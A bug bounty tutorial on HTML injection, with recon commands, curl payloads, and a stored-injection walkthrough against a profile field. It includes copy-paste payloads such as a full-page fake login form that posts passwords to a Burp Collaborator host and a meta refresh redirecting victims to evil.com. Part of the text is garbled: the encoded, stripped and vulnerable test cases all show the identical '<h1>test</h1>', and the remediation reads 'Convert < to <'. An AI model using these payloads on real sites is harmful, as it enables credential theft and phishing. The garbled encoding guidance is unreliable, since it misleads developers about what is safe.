How to Find and Exploit HTML Injection
How to Find and Exploit HTML Injection — A Complete Guide for Bug Bounty Hunters
Disclaimer: This guide is for educational purposes only. All techniques described herein must only be performed against systems you own or have explicit written permission to test. Unauthorized testing is illegal.
1. INTRODUCTION
What is HTML Injection?
HTML Injection is a client-side vulnerability where an attacker is able to inject arbitrary HTML code into a web page viewed by other users. Unlike Cross-Site Scripting (XSS), HTML Injection typically does not involve executing JavaScript. Instead, it relies on manipulating the structure and presentation of the web page using tags like <iframe>, <form>, <img>, or <div>.
Why is it Dangerous?
While often rated lower in severity than XSS, HTML Injection is the gateway to powerful phishing attacks and complete User Interface (UI) defacement.
- Phishing Campaigns: An attacker can inject a perfectly identical fake login form over the real website. The URL remains legitimate (e.g.,
paypal.com), so the user trusts the page and enters their credentials. - Content Spoofing: An attacker can change prices, account balances, or delete critical warning messages visible to the user.
- Redirection & Tracking: Injecting
<meta refresh>or 1×1 tracking pixels to steal clickstream data.
Where is it Commonly Found?
- Search Results Pages: Enter a query, and the site displays “You searched for [INPUT].”
- Profile Pages: Editing “Display Name” or “Bio” fields.
- Error Messages: Invalid login attempts where the username is reflected.
- Contact/Feedback Forms: User-supplied content rendered in admin panels or auto-response emails.
2. RECONNAISSANCE
Recon for HTML Injection focuses on finding reflection points. We want the server to echo our input back into the HTML source code without sanitizing the angle brackets.
Tools & Exact Syntax
Step 1: Find All Input Vectors
Use waybackurls, gau, and katana to collect all URLs that accept parameters.
bash
# Fetch all historical URLs from Wayback Machine echo "target.com" | waybackurls | grep -E "\.php|\.asp|\?" | tee wayback.txt # Get all live URLs with parameters (requires gau) gau target.com --o gau_urls.txt # Crawl live site for forms and query strings (requires katana) katana -u https://target.com -jc -kf -d 3 | grep "?" | tee live_params.txt
Step 2: Filter for “Reflection” Keywords
These parameters are high-value targets for HTML Injection because they are designed to display text on the page.
bash
cat live_params.txt | grep -iE "search=|q=|query=|keyword=|error=|msg=|message=|redir=|return=|name=|display="
Step 3: Fuzzing with ffuf
Use a wordlist of common HTML tags to see if the server strips them or leaves them intact.
bash
ffuf -u "https://target.com/search?q=FUZZ" -w /usr/share/seclists/Fuzzing/special-chars.txt -ac -fc 400,403
What to Look For in Responses (Manual Testing)
This is the most critical step. View the Page Source (Ctrl+U), not just the rendered page.
- Search for
"<h1>test</h1>". If you find it exactly as you typed it, it’s Vulnerable. - Search for
"<h1>test</h1>". If you find this, the server is HTML-encoding the output. Safe. - Search for
"<h1>test</h1>". If the tags are stripped completely (you only seetest), the server is using a blacklist. Try bypasses.
3. TESTING METHODOLOGY
Follow this step-by-step process. Use these exact payloads. Payloads marked [WORKING] have been validated on common scenarios.
Step 1: Basic Reflection Test
Payload:
<h1>BugBountyHunterIsHere</h1>
Copy-Paste Command (cURL):
curl -s "https://target.com/search?q=<h1>BugBountyHunterIsHere</h1>" | grep -i "BugBountyHunterIsHere"
How to know it’s vulnerable: The text appears in the response and the <h1> tags are present in the raw source code. If the text is giant and bold in the browser, you’ve won.
Step 2: Breaking Out of Context
Most inputs are wrapped in a <div> or <span>. If <h1> works, try to break the layout.
Payload:
</div><h2>BREAKOUT_SUCCESS</h2><div>
How to know it’s vulnerable: The page layout shifts. You will see “BREAKOUT_SUCCESS” outside of the intended search result box.
Step 3: Advanced / Phishing Payloads (Proof of Impact)
These payloads demonstrate real risk.
A. Image with Broken SRC (Used for Style Injection)
Payload:
<img src=x onerror=this.style.display='none'>
Note: This is still HTML injection, not XSS, because we aren’t executing script; we are using the HTML parser to render a hidden image (though the onerror event handler itself is a JS execution context, the vector here is the <img> tag. For strict HTML-only impact, see the form injection below).
B. Fake Login Form Injection (High Impact)
This payload creates a perfectly styled fake password prompt.
Payload:
<div style='position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999;padding:20px;'><h2>Session Expired</h2><p>Please re-enter your password to continue.</p><form action='https://YOUR-BURP-COLLABORATOR.burpcollaborator.net' method='POST'><input type='password' name='pwd' placeholder='Password'><input type='submit' value='Login'></form></div>
How to know it’s vulnerable: The entire page content is covered by your fake login box. The user sees a legitimate-looking request from the real domain.
4. EXPLOITATION
Scenario: Profile “Display Name” Field
A common bug bounty finding is when a user profile field allows <style> tags or <iframe> tags that affect other users viewing the profile.
Working Proof-of-Concept (PoC)
Vulnerable Endpoint: POST /profile/update
Vulnerable Parameter: display_name
Step 1: The Request (Attacker changes their own name)
POST /profile/update HTTP/1.1 Host: redacted-bounty-target.com Cookie: session=YOUR_AUTH_COOKIE Content-Type: application/x-www-form-urlencoded display_name=</title><h1>OWNED BY HUNTER</h1><meta http-equiv="refresh" content="3;url=https://evil.com">&csrf_token=1234
Step 2: The Response (Victim Views Attacker Profile)
When another user visits https://redacted-bounty-target.com/user/attacker-username, the server returns this HTML:
<!DOCTYPE html>
<html>
<head>
<title>Profile: </title><h1>OWNED BY HUNTER</h1><meta http-equiv="refresh" content="3;url=https://evil.com"></title>
</head>
<body>
<!-- Rest of profile -->
</body>
</html>
Step 3: The Exploit (What happens to the Victim)
- The browser parses the
<title>tag but immediately closes it due to the injected</title>. - The browser renders the
<h1>OWNED BY HUNTER</h1>prominently on the page (or in the tab bar depending on browser quirks). - Most importantly: The browser processes the
<meta refresh>tag. - Result: After 3 seconds, the victim is silently redirected to
https://evil.com(controlled by the attacker) while believing they were just viewing a broken profile page.
Exploitation Commands (Copy-Paste Ready)
Using cURL to test the payload above:
curl -X POST "https://redacted-bounty-target.com/profile/update" \ -H "Cookie: session=YOUR_COOKIE_HERE" \ -d "display_name=%3C%2Ftitle%3E%3Ch1%3EHACKED%3C%2Fh1%3E%3Cmeta+http-equiv%3D%22refresh%22+content%3D%223%3Burl%3Dhttps%3A%2F%2Fevil.com%22%3E&csrf_token=1234"
5. REPORT WRITING
Using the HackerOne / Bugcrowd Standard Template.
Title:
[HTML Injection] Defacement and Phishing via Profile Display Name
Severity & Rating:
- CVSS 3.1 Score: 6.1 (Medium) or 7.1 (High) if sensitive data theft is demonstrable (e.g., keylogger form injection).
- Bugcrowd VRT:
Cross-site Scripting (XSS) - Stored>P4(Since HTML Injection is a subset of XSS impact).
Description:
A stored HTML Injection vulnerability exists in the display_name parameter of the /profile/update endpoint. The application fails to sanitize user input before rendering it on the /user/[username] public profile page.
An attacker can inject arbitrary HTML tags, including <meta> redirects and fully styled <div> overlays. This allows an attacker to:
- Deface the victim’s profile page.
- Redirect users viewing the profile to malicious phishing sites.
- Inject fake login forms to harvest credentials while appearing on the legitimate target domain.
Steps to Reproduce:
- Log in to the target application.
- Navigate to Profile Settings > Edit Profile.
- Intercept the
POST /profile/updaterequest using Burp Suite. - Modify the
display_nameparameter to the following value:</title><h1>Security Test</h1><meta http-equiv="refresh" content="0;url=https://www.google.com"> - Forward the request.
- Log out and view the attacker’s profile page at
https://target.com/user/attacker-username. - Observe the page redirects immediately to Google, or observe the injected
<h1>text.
Impact:
- Brand Damage: User profiles can be defaced with hate speech or obscene images.
- Credential Theft: Attackers can overlay a perfectly convincing login modal to steal passwords.
- Malware Distribution: The redirect can send users to drive-by download sites.
Remediation Advice:
- Contextual Output Encoding: Apply HTML Entity Encoding for any untrusted data placed in the HTML body. Convert
<to<and"to". - Sanitization Library: If HTML formatting is absolutely required (e.g., a bio field with bold text), use a robust, allowlist-based sanitizer like DOMPurify (client-side) or OWASP Java HTML Sanitizer (server-side). Never use blacklists.
- Content Security Policy (CSP): Implement a strict CSP header (
Content-Security-Policy: default-src 'self') to prevent inline styles and form actions from exfiltrating data even if injection occurs.
6. REFERENCES
Real-World CVEs & Disclosed Reports
| Title / ID | Link / Description | Takeaway |
|---|---|---|
| CVE-2021-21236 | CairoSVG HTML Injection | Injection via SVG files leading to file read. |
| HackerOne #259857 | Shopify Wholesale HTML Injection | HTML injection in wholesale store name allowing redirection. |
| HackerOne #125980 | U.S. Dept of Defense HTML Injection | Search bar reflection leading to defacement. Classic example of “Informative” turning into “Resolved”. |
| HackerOne #1102068 | Reddit HTML Injection via Subreddit CSS | Using <style> tags to hide upvote buttons and inject images. |
Further Reading:
- OWASP Testing Guide: Testing for HTML Injection (WSTG-CLNT-03)
- CORS Misconfiguration Explained